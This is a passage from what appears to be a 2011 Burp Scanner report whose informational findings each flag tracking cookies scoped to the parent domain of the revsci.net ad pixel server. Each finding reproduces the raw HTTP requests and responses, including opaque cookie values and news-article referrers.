X-Proc-ms: 1
P3P: policyref="http://js.revsci.net/w3c/rsip3p.xml", CP="NON PSA PSD IVA IVD OTP SAM IND UNI PUR COM NAV INT DEM CNT STA PRE OTC HEA"
Server: RSI
Cache-Control: no-cache
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: image/gif
Content-Length: 43
Date: Sat, 14 May 2011 10:27:16 GMT

GIF89a.............!.......,...........D..;

14.57. http://pix04.revsci.net/G07608/b3/0/3/1008211/671305054.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://pix04.revsci.net
Path:	/G07608/b3/0/3/1008211/671305054.gif

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtlR8qmZ5EYm2QQMyGpObby6k1VtDsX4wtUteCKDYPpgxBsJGyT/YmPwZWTFxu/fSGzXIpsZZc8j0XeTXtRBO8bA==; Domain=.revsci.net; Expires=Sun, 13-May-2012 11:05:59 GMT; Path=/
rtc_fMMS=MLuBU4kHAVhDF1LCdcKXDzQFlw1IZ8BYwogNsnhBUGsfVkhkAPoI68+Xd8YLhw8U09tff4uBLKooVnFpj3ggkQ==; Domain=.revsci.net; Expires=Sun, 13-May-2012 11:05:59 GMT; Path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /G07608/b3/0/3/1008211/671305054.gif?D=DM_LOC%3Dhttp%253A%252F%252Fwww.marketwatch.com%252Fstory%252Foil-futures-ease-but-stay-above-98-a-barrel-2011-05-12%253F_rsiL%253D0%26DM_CAT%3DMarketWatch%2520%253E%2520Article%2520%253E%2520MW_Markets%2520%253E%2520MW_Article_Futures%2520Movers%26DM_REF%3Dhttp%253A%252F%252Fburp%252Fshow%252F5%26DM_EOM%3D1&C=G07608 HTTP/1.1
Host: pix04.revsci.net
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: NETID01=f6600bc0a97556506df2daf333d9f1f4; udm_0=MLvv7iEOIS5n5S4sf9LIKM6Bpt3BQhwXLKhpumJAKH9ZohLvamWO+huyCocJXJDsRczd6FCC/ukv6Xpz1uzdB8jd3W3ILSjdYtnKq3F9jFyZqD377+Us3Nbw7cs1UpXwdejqHoMXde16Mzxvxei7KC+8NBsY8GM6zdRigHER7kUDTsulJ9IyAYcLvyqoyZkQZN5z/aEPrq5n9N0flh2HtuQC41Gxciq7dBDbJX43Xt+nPxvpxIe8OCCnhK5r9ANhaH8LDHQ5aMdNSJp7kYijGTihLVaWzIq5ufydYbNm9P66qBzXsYWmpLYHASVODs5MLGnqaWomJ4kcVVYuRCgplE/8t8hfOuSjORkUuX1twlOccQpK/83a1p6p9gD0Mn657YX8gBmi8+iaxuJ1uHrwDpYm9/xzIaPpzjNK3NRsH9kymE77A07UhIw2q6tBPVlAmPAo+E/4sNqVsTXMtLJrRfea6YQd80ALRcIt+FQ4/eHT1DPQo8qEvpq5YbGrPh1tfrFz62318KfxrC9Xe3bodpJLTOpoy6FPVvvvE/jbr2s6ubXR175Ye9eHk5CyuBojjk2prQ==; NETSEGS_G07608=82f4957c1a652091&G07608&0&4df33ff4&0&&4dcde361&1f1a384c105a2f365a2b2d6af5f27c36; rsiPus_t9z0="MLs3rF9vsF9nIDEz8lYBG8y1T5yYjdlQKkw4AX/Jd8BMMq7CQ2GtihxyUr10/ojPYcDD+dkjQwqWyPMNJwLxMlQOzBzvptrVk8y3CBYM8B8qXhaXuoc1PqcPHJPJdLwfhziejg4aYNfvU0EE1iSJty6dRJIxPFptrkL3lAGdy/zUX1OQLueuy+BXbF7ZvWdtV4ac1sKxH2JbE/Y="; rsi_us_1000000="pUMdJc2g/wMU1A0vl3aaUfi+Tebh2ccCXOE0KutCzAso9sIeEpxNo+KC9uYJ4XYFFV+IGpm+3PedGzrOT9nTdXqFppriwDzDB8ToLgv7FJ5d7HXtY/2BAO0lNzWre2/fu4lI/6LYaaWHphdnDCHSoBon8iVhd+P2YagLup4Q1rw7bnl+ufxGVphhnMkwic6ljDSPhaVO03NLv9lc8pImscN0rs+Ic9+fZ5vMUDpzxdAZgl37RhVUPwrg8Pw3/xwXJvn9LMHSo09OaE+cZ08DOz1R/F1zZLu+/BVgX+bHNoDJY80lwk0DktY7SW6HhT+JddLG9cyvhIMUv3m0/5WmKlgf6gvbnEFu9Scbfu/CvA3O1t8qEGvqPzazmBh2Mc8TRLI13m/VszY5+UWBP4kc0Mg7Du4txgE/zEjh5+3+VgN7zvSoi6LMLm0qEKtDxsSJTwm9d0AXpCQEiSgVnWE7bRfLHF2eOdIpJgFpr9ItAQscxBV1b99hoDzj6Tm6PwkI+qSaU8KizqVJjGam82pRL8/FHvCbqbeJJZ5/wM/37qL/XPQ/cdwHBBKAX6++SRrPH7ZP7DBalGIVhKvaE+wbmALN2AzxvqTEjU9nejP//BIV4v/wfdMvzr2ZHBDJS1dA+HSyR4yLAdaZjS6hx+DD0rNIPOL+0/6l7ZPk4nKmqyHMe0La+xOQSizrDbXxz0+BS+jX7Po518hwJnRcvsORFVs/mKEUyZc7HlTMwrlrTeq3Arl/zrdd8Wo="; rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtlR8qmZ5EYm2QQMyGpObby6k1VtCuX43skFeAKjYPpgxBsJGyT/YmPwZWTFxu/fSGzXIpsZZc8j0XeTXtRmq8GA==; rtc_Pd-P=MLuBU4kHAVhDF1LCdcKXDzQFlw1IZ8BfwogNsnhBUGsfVkhkAPoI68+Xd8YLhw8U09tff4uBLKooVnFpjKggjw==

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Set-Cookie: rtc_Pd-P=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: rsi_segs_1000000=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtlR8qmZ5EYm2QQMyGpObby6k1VtDsX4wtUteCKDYPpgxBsJGyT/YmPwZWTFxu/fSGzXIpsZZc8j0XeTXtRBO8bA==; Domain=.revsci.net; Expires=Sun, 13-May-2012 11:05:59 GMT; Path=/
Set-Cookie: rtc_fMMS=MLuBU4kHAVhDF1LCdcKXDzQFlw1IZ8BYwogNsnhBUGsfVkhkAPoI68+Xd8YLhw8U09tff4uBLKooVnFpj3ggkQ==; Domain=.revsci.net; Expires=Sun, 13-May-2012 11:05:59 GMT; Path=/
X-Proc-ms: 0
P3P: policyref="http://js.revsci.net/w3c/rsip3p.xml", CP="NON PSA PSD IVA IVD OTP SAM IND UNI PUR COM NAV INT DEM CNT STA PRE OTC HEA"
Server: RSI
Cache-Control: no-cache
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: image/gif
Content-Length: 43
Date: Sat, 14 May 2011 11:05:58 GMT

GIF89a.............!.......,...........D..;

14.58. http://pix04.revsci.net/G07608/b3/0/3/1008211/920211703.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://pix04.revsci.net
Path:	/G07608/b3/0/3/1008211/920211703.gif

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtlR8qmZ5EYm2QQMyGpObby6k1VtCuHU4t0tQBKDYPpgxBsJGyT/YmPwZWTFxu/fSGzXIpsZZc8j0XeTXtRmy8GQ==; Domain=.revsci.net; Expires=Sun, 13-May-2012 10:28:19 GMT; Path=/
rtc_yHEH=MLuB84kHAVhDF1LCdcKXDzQFlw1IZ0BfwohNunBFEGgdlg06eD02cW8HFwQqcKIgsA1ncA==; Domain=.revsci.net; Expires=Sun, 13-May-2012 10:28:19 GMT; Path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /G07608/b3/0/3/1008211/920211703.gif?D=DM_LOC%3Dhttp%253A%252F%252Fonline.barrons.com%252Farticle%252FSB50001424052970203286304576313262992330454.html%253Fmod%253DBOL_hpp_dc%2526_rsiL%253D0%26DM_CAT%3DBarrons%2520Online%2520%253E%2520Article%2520%253E%2520BOL_Online%2520Exclusives%2520%253E%2520Streetwise%26DM_REF%3Dhttp%253A%252F%252Fonline.barrons.com%252Fhome-page%26DM_EOM%3D1&C=G07608 HTTP/1.1
Host: pix04.revsci.net
Proxy-Connection: keep-alive
Referer: http://online.barrons.com/article/SB50001424052970203286304576313262992330454.html?mod=BOL_hpp_dc
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: NETID01=f6600bc0a97556506df2daf333d9f1f4; udm_0=MLvv7iEOIS5n5S4sf9LIKM6Bpt3BQhwXLKhpumJAKH9ZohLvamWO+huyCocJXJDsRczd6FCC/ukv6Xpz1uzdB8jd3W3ILSjdYtnKq3F9jFyZqD377+Us3Nbw7cs1UpXwdejqHoMXde16Mzxvxei7KC+8NBsY8GM6zdRigHER7kUDTsulJ9IyAYcLvyqoyZkQZN5z/aEPrq5n9N0flh2HtuQC41Gxciq7dBDbJX43Xt+nPxvpxIe8OCCnhK5r9ANhaH8LDHQ5aMdNSJp7kYijGTihLVaWzIq5ufydYbNm9P66qBzXsYWmpLYHASVODs5MLGnqaWomJ4kcVVYuRCgplE/8t8hfOuSjORkUuX1twlOccQpK/83a1p6p9gD0Mn657YX8gBmi8+iaxuJ1uHrwDpYm9/xzIaPpzjNK3NRsH9kymE77A07UhIw2q6tBPVlAmPAo+E/4sNqVsTXMtLJrRfea6YQd80ALRcIt+FQ4/eHT1DPQo8qEvpq5YbGrPh1tfrFz62318KfxrC9Xe3bodpJLTOpoy6FPVvvvE/jbr2s6ubXR175Ye9eHk5CyuBojjk2prQ==; rsiPus_VmDO="MLs3rF9vsF9nIDGjzL1vcpsTPRsfCl7PoiPmrzYaJskmosJYIWqMj3Sq3yt/E+QlPTZKCuQrKEB5Z7vtqd4JbrUrgH/gmdfVNqTaghkJu5V3yMOKHUUoQ18s06TgB+XdXLrTWFjU8Tdz+Wj10jHIRxZ/uiauIdgCRG4WWZoEQvBvcz0BKA+4pXdUtSwC41UyCoMtP7V4oNFGdg=="; rsi_us_1000000="pUMdJc+g/xMU1j2Eq62Z0x2J+T7uFxZvzsVdi8Ni1rZmEnsMVtJEyT/0fTHbQcU3Fl+IGpm+3PedGzrOT9nTdXoVUkI6WmaBEej7aE2XzVQj6QxDUb0Yqflin6S1sMRM9RUMWIzdW0pCLFX+SdMOIyoFeBH6v/2zlBy8MohyfgRDYfmcSTqHPC0xaR/mvaFRgazmITlQbtXP+7RYRY6yzZaFUAgFwKr/tr94J1h4H+W2YralVmK4v6P0xN+VNt2eZqNbiFQzK+nNzSOpTolaFo0Raxpc3WytphNYPzJ9/lJt/xBHGQP81boeRcwqveNqtdd/1E1vdjIBRoZH0EmvTaShQ/jzfZWtTYzx/raf81/3cGklA237x02G2voq9ktKTi1i+WtuXLlMuX2LoCoyqqr//Mw/xK1hWpEzhob+C1uUCfMoE2wJ1FmCpfX3oa9FdsW5miPZDT+R5uD0aFQPo5CCc64WwzH00oWOr8FTGsrQW5azQKmncb8T6deFcxXZkLDqmK4Kf1RROoiT85eoc9M+7bsUUuqezK1ewRco0HpgWz4qkFkGfLfnvP3jHP2Gd92brOg2ZswO9XlXms9QwnkwSKdzktQIeRMytjr7TYws9yX/PbPvHI4Wj/iJV38mp3lCHbtLegae5PqiGWNd6+91HKC62iMO65M8N5sIRgOHiZMP7x3ipqRjTkkAlSYzXbqZ7Or5NUc1o2SP8BdVN9s+mCEMyZPTn5bPzqmgwn0u7ARels1C8oA="; rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtlR8qmZ5EYm2QQMyGpObby6k1VtCuXY5tkVeDKjYPpgxBsJGyT/YmPwZWTFxu/fSGzXIpsZZc8j0XeTXtRSq8FQ==; NETSEGS_G07608=82f4957c1a652091&G07608&0&4df33ff4&0&&4dcde361&1f1a384c105a2f365a2b2d6af5f27c36; rtc_Vqbb=MLuB84kHAVhDF1LCdcKXDzQFlw1IZ0BbwohNunBFEGgdlg06eD02cW8HFwQqcTrzSWd2

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Set-Cookie: rtc_Vqbb=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: rsi_segs_1000000=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtlR8qmZ5EYm2QQMyGpObby6k1VtCuHU4t0tQBKDYPpgxBsJGyT/YmPwZWTFxu/fSGzXIpsZZc8j0XeTXtRmy8GQ==; Domain=.revsci.net; Expires=Sun, 13-May-2012 10:28:19 GMT; Path=/
Set-Cookie: rtc_yHEH=MLuB84kHAVhDF1LCdcKXDzQFlw1IZ0BfwohNunBFEGgdlg06eD02cW8HFwQqcKIgsA1ncA==; Domain=.revsci.net; Expires=Sun, 13-May-2012 10:28:19 GMT; Path=/
X-Proc-ms: 0
P3P: policyref="http://js.revsci.net/w3c/rsip3p.xml", CP="NON PSA PSD IVA IVD OTP SAM IND UNI PUR COM NAV INT DEM CNT STA PRE OTC HEA"
Server: RSI
Cache-Control: no-cache
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: image/gif
Content-Length: 43
Date: Sat, 14 May 2011 10:28:18 GMT

GIF89a.............!.......,...........D..;

14.59. http://pix04.revsci.net/G07608/b3/0/3/1008211/940857618.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://pix04.revsci.net
Path:	/G07608/b3/0/3/1008211/940857618.gif

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtlR8qmZ5EYm2QQMyGpObby6k1VtDsX4xvUtQCKTYPpgxBsJGyT/YmPwZWTFxu/fSGzXIpsZZc8j0XeTXtQ3m8Zg==; Domain=.revsci.net; Expires=Sun, 13-May-2012 11:05:41 GMT; Path=/
rtc_oiAY=MLuBU4kHAVhDF1LCdcKXDzQFlw1IZ8BfwogNsnhBUGsfVkhkAPoI68+Xd8YLhw8U09tff4uBLKooVnFpjKggjw==; Domain=.revsci.net; Expires=Sun, 13-May-2012 11:05:41 GMT; Path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /G07608/b3/0/3/1008211/940857618.gif?D=DM_LOC%3Dhttp%253A%252F%252Fwww.marketwatch.com%252Fstory%252Foil-futures-ease-but-stay-above-98-a-barrel-2011-05-12%253F_rsiL%253D0%26DM_CAT%3DMarketWatch%2520%253E%2520Article%2520%253E%2520MW_Markets%2520%253E%2520MW_Article_Futures%2520Movers%26DM_REF%3Dhttp%253A%252F%252Fburp%252Fshow%252F3%26DM_EOM%3D1&C=G07608 HTTP/1.1
Host: pix04.revsci.net
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: NETID01=f6600bc0a97556506df2daf333d9f1f4; udm_0=MLvv7iEOIS5n5S4sf9LIKM6Bpt3BQhwXLKhpumJAKH9ZohLvamWO+huyCocJXJDsRczd6FCC/ukv6Xpz1uzdB8jd3W3ILSjdYtnKq3F9jFyZqD377+Us3Nbw7cs1UpXwdejqHoMXde16Mzxvxei7KC+8NBsY8GM6zdRigHER7kUDTsulJ9IyAYcLvyqoyZkQZN5z/aEPrq5n9N0flh2HtuQC41Gxciq7dBDbJX43Xt+nPxvpxIe8OCCnhK5r9ANhaH8LDHQ5aMdNSJp7kYijGTihLVaWzIq5ufydYbNm9P66qBzXsYWmpLYHASVODs5MLGnqaWomJ4kcVVYuRCgplE/8t8hfOuSjORkUuX1twlOccQpK/83a1p6p9gD0Mn657YX8gBmi8+iaxuJ1uHrwDpYm9/xzIaPpzjNK3NRsH9kymE77A07UhIw2q6tBPVlAmPAo+E/4sNqVsTXMtLJrRfea6YQd80ALRcIt+FQ4/eHT1DPQo8qEvpq5YbGrPh1tfrFz62318KfxrC9Xe3bodpJLTOpoy6FPVvvvE/jbr2s6ubXR175Ye9eHk5CyuBojjk2prQ==; NETSEGS_G07608=82f4957c1a652091&G07608&0&4df33ff4&0&&4dcde361&1f1a384c105a2f365a2b2d6af5f27c36; rsiPus_t9z0="MLs3rF9vsF9nIDEz8lYBG8y1T5yYjdlQKkw4AX/Jd8BMMq7CQ2GtihxyUr10/ojPYcDD+dkjQwqWyPMNJwLxMlQOzBzvptrVk8y3CBYM8B8qXhaXuoc1PqcPHJPJdLwfhziejg4aYNfvU0EE1iSJty6dRJIxPFptrkL3lAGdy/zUX1OQLueuy+BXbF7ZvWdtV4ac1sKxH2JbE/Y="; rsi_us_1000000="pUMdJc2g/wMU1A0vl3aaUfi+Tebh2ccCXOE0KutCzAso9sIeEpxNo+KC9uYJ4XYFFV+IGpm+3PedGzrOT9nTdXqFppriwDzDB8ToLgv7FJ5d7HXtY/2BAO0lNzWre2/fu4lI/6LYaaWHphdnDCHSoBon8iVhd+P2YagLup4Q1rw7bnl+ufxGVphhnMkwic6ljDSPhaVO03NLv9lc8pImscN0rs+Ic9+fZ5vMUDpzxdAZgl37RhVUPwrg8Pw3/xwXJvn9LMHSo09OaE+cZ08DOz1R/F1zZLu+/BVgX+bHNoDJY80lwk0DktY7SW6HhT+JddLG9cyvhIMUv3m0/5WmKlgf6gvbnEFu9Scbfu/CvA3O1t8qEGvqPzazmBh2Mc8TRLI13m/VszY5+UWBP4kc0Mg7Du4txgE/zEjh5+3+VgN7zvSoi6LMLm0qEKtDxsSJTwm9d0AXpCQEiSgVnWE7bRfLHF2eOdIpJgFpr9ItAQscxBV1b99hoDzj6Tm6PwkI+qSaU8KizqVJjGam82pRL8/FHvCbqbeJJZ5/wM/37qL/XPQ/cdwHBBKAX6++SRrPH7ZP7DBalGIVhKvaE+wbmALN2AzxvqTEjU9nejP//BIV4v/wfdMvzr2ZHBDJS1dA+HSyR4yLAdaZjS6hx+DD0rNIPOL+0/6l7ZPk4nKmqyHMe0La+xOQSizrDbXxz0+BS+jX7Po518hwJnRcvsORFVs/mKEUyZc7HlTMwrlrTeq3Arl/zrdd8Wo="; rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtlR8qmZ5EYm2QQMyGpObby6k1VtCuX41u0peCKTYPpgxBsJGyT/YmPwZWTFxu/fSGzXIpsZZc8j0XeTXtRfK8FA==; rtc_ryEK=MLuBU4kHAVhDF1LCdcKXDzQFlw1IZ8BbwogNsnhBUGsfVkhkAPoI68+Xd8YLhw8U09tff4uBLKooVnFpjBggjQ==

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Set-Cookie: rtc_ryEK=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: rsi_segs_1000000=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtlR8qmZ5EYm2QQMyGpObby6k1VtDsX4xvUtQCKTYPpgxBsJGyT/YmPwZWTFxu/fSGzXIpsZZc8j0XeTXtQ3m8Zg==; Domain=.revsci.net; Expires=Sun, 13-May-2012 11:05:41 GMT; Path=/
Set-Cookie: rtc_oiAY=MLuBU4kHAVhDF1LCdcKXDzQFlw1IZ8BfwogNsnhBUGsfVkhkAPoI68+Xd8YLhw8U09tff4uBLKooVnFpjKggjw==; Domain=.revsci.net; Expires=Sun, 13-May-2012 11:05:41 GMT; Path=/
X-Proc-ms: 0
P3P: policyref="http://js.revsci.net/w3c/rsip3p.xml", CP="NON PSA PSD IVA IVD OTP SAM IND UNI PUR COM NAV INT DEM CNT STA PRE OTC HEA"
Server: RSI
Cache-Control: no-cache
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: image/gif
Content-Length: 43
Date: Sat, 14 May 2011 11:05:40 GMT

GIF89a.............!.......,...........D..;

14.60. http://pix04.revsci.net/G07608/b3/0/3/1008211/976949516.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://pix04.revsci.net
Path:	/G07608/b3/0/3/1008211/976949516.gif

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtlR8qmZ5EYm2QQMyGpObby6k1VtDsX44s0NaBKzYPpgxBsJGyT/YmPwZWTFxu/fSGzXIpsZZc8j0XeTXtRBC8bA==; Domain=.revsci.net; Expires=Sun, 13-May-2012 11:04:38 GMT; Path=/
rtc_sQTQ=MLuBU4kHAVhDF1LCdcKXDzQFlw1IZ8BdwogNsnhBUGsfVkhkAPoI68+Xd8YLhw8U09tff4uBLKooVnFpjEggiw==; Domain=.revsci.net; Expires=Sun, 13-May-2012 11:04:38 GMT; Path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /G07608/b3/0/3/1008211/976949516.gif?D=DM_LOC%3Dhttp%253A%252F%252Fwww.marketwatch.com%252Fstory%252Foil-futures-ease-but-stay-above-98-a-barrel-2011-05-12%253F_rsiL%253D0%26DM_CAT%3DMarketWatch%2520%253E%2520Article%2520%253E%2520MW_Markets%2520%253E%2520MW_Article_Futures%2520Movers%26DM_REF%3Dhttp%253A%252F%252Fburp%252Fshow%252F1%26DM_EOM%3D1&C=G07608 HTTP/1.1
Host: pix04.revsci.net
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: NETID01=f6600bc0a97556506df2daf333d9f1f4; udm_0=MLvv7iEOIS5n5S4sf9LIKM6Bpt3BQhwXLKhpumJAKH9ZohLvamWO+huyCocJXJDsRczd6FCC/ukv6Xpz1uzdB8jd3W3ILSjdYtnKq3F9jFyZqD377+Us3Nbw7cs1UpXwdejqHoMXde16Mzxvxei7KC+8NBsY8GM6zdRigHER7kUDTsulJ9IyAYcLvyqoyZkQZN5z/aEPrq5n9N0flh2HtuQC41Gxciq7dBDbJX43Xt+nPxvpxIe8OCCnhK5r9ANhaH8LDHQ5aMdNSJp7kYijGTihLVaWzIq5ufydYbNm9P66qBzXsYWmpLYHASVODs5MLGnqaWomJ4kcVVYuRCgplE/8t8hfOuSjORkUuX1twlOccQpK/83a1p6p9gD0Mn657YX8gBmi8+iaxuJ1uHrwDpYm9/xzIaPpzjNK3NRsH9kymE77A07UhIw2q6tBPVlAmPAo+E/4sNqVsTXMtLJrRfea6YQd80ALRcIt+FQ4/eHT1DPQo8qEvpq5YbGrPh1tfrFz62318KfxrC9Xe3bodpJLTOpoy6FPVvvvE/jbr2s6ubXR175Ye9eHk5CyuBojjk2prQ==; NETSEGS_G07608=82f4957c1a652091&G07608&0&4df33ff4&0&&4dcde361&1f1a384c105a2f365a2b2d6af5f27c36; rsiPus_t9z0="MLs3rF9vsF9nIDEz8lYBG8y1T5yYjdlQKkw4AX/Jd8BMMq7CQ2GtihxyUr10/ojPYcDD+dkjQwqWyPMNJwLxMlQOzBzvptrVk8y3CBYM8B8qXhaXuoc1PqcPHJPJdLwfhziejg4aYNfvU0EE1iSJty6dRJIxPFptrkL3lAGdy/zUX1OQLueuy+BXbF7ZvWdtV4ac1sKxH2JbE/Y="; rsi_us_1000000="pUMdJc2g/wMU1A0vl3aaUfi+Tebh2ccCXOE0KutCzAso9sIeEpxNo+KC9uYJ4XYFFV+IGpm+3PedGzrOT9nTdXqFppriwDzDB8ToLgv7FJ5d7HXtY/2BAO0lNzWre2/fu4lI/6LYaaWHphdnDCHSoBon8iVhd+P2YagLup4Q1rw7bnl+ufxGVphhnMkwic6ljDSPhaVO03NLv9lc8pImscN0rs+Ic9+fZ5vMUDpzxdAZgl37RhVUPwrg8Pw3/xwXJvn9LMHSo09OaE+cZ08DOz1R/F1zZLu+/BVgX+bHNoDJY80lwk0DktY7SW6HhT+JddLG9cyvhIMUv3m0/5WmKlgf6gvbnEFu9Scbfu/CvA3O1t8qEGvqPzazmBh2Mc8TRLI13m/VszY5+UWBP4kc0Mg7Du4txgE/zEjh5+3+VgN7zvSoi6LMLm0qEKtDxsSJTwm9d0AXpCQEiSgVnWE7bRfLHF2eOdIpJgFpr9ItAQscxBV1b99hoDzj6Tm6PwkI+qSaU8KizqVJjGam82pRL8/FHvCbqbeJJZ5/wM/37qL/XPQ/cdwHBBKAX6++SRrPH7ZP7DBalGIVhKvaE+wbmALN2AzxvqTEjU9nejP//BIV4v/wfdMvzr2ZHBDJS1dA+HSyR4yLAdaZjS6hx+DD0rNIPOL+0/6l7ZPk4nKmqyHMe0La+xOQSizrDbXxz0+BS+jX7Po518hwJnRcvsORFVs/mKEUyZc7HlTMwrlrTeq3Arl/zrdd8Wo="; rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtlR8qmZ5EYm2QQMyGpObby6k1VtCuXw1t0NSCKzYPpgxBsJGyT/YmPwZWTFxu/fSGzXIpsZZc8j0XeTXtQ928ag==; rtc_NFCG=MLuBU4kHAVhDF1LCdcKXDzQFlw1IZ8BZwogNsnhBUGsfVkhkAPoI68+Xd8YLhw8U09tff4uBLKooVnFpjbggiQ==

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Set-Cookie: rtc_NFCG=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: rsi_segs_1000000=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtlR8qmZ5EYm2QQMyGpObby6k1VtDsX44s0NaBKzYPpgxBsJGyT/YmPwZWTFxu/fSGzXIpsZZc8j0XeTXtRBC8bA==; Domain=.revsci.net; Expires=Sun, 13-May-2012 11:04:38 GMT; Path=/
Set-Cookie: rtc_sQTQ=MLuBU4kHAVhDF1LCdcKXDzQFlw1IZ8BdwogNsnhBUGsfVkhkAPoI68+Xd8YLhw8U09tff4uBLKooVnFpjEggiw==; Domain=.revsci.net; Expires=Sun, 13-May-2012 11:04:38 GMT; Path=/
X-Proc-ms: 1
P3P: policyref="http://js.revsci.net/w3c/rsip3p.xml", CP="NON PSA PSD IVA IVD OTP SAM IND UNI PUR COM NAV INT DEM CNT STA PRE OTC HEA"
Server: RSI
Cache-Control: no-cache
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: image/gif
Content-Length: 43
Date: Sat, 14 May 2011 11:04:37 GMT

GIF89a.............!.......,...........D..;

14.61. http://pix04.revsci.net/G07608/b3/0/3/1008211/99829846.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://pix04.revsci.net
Path:	/G07608/b3/0/3/1008211/99829846.gif

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

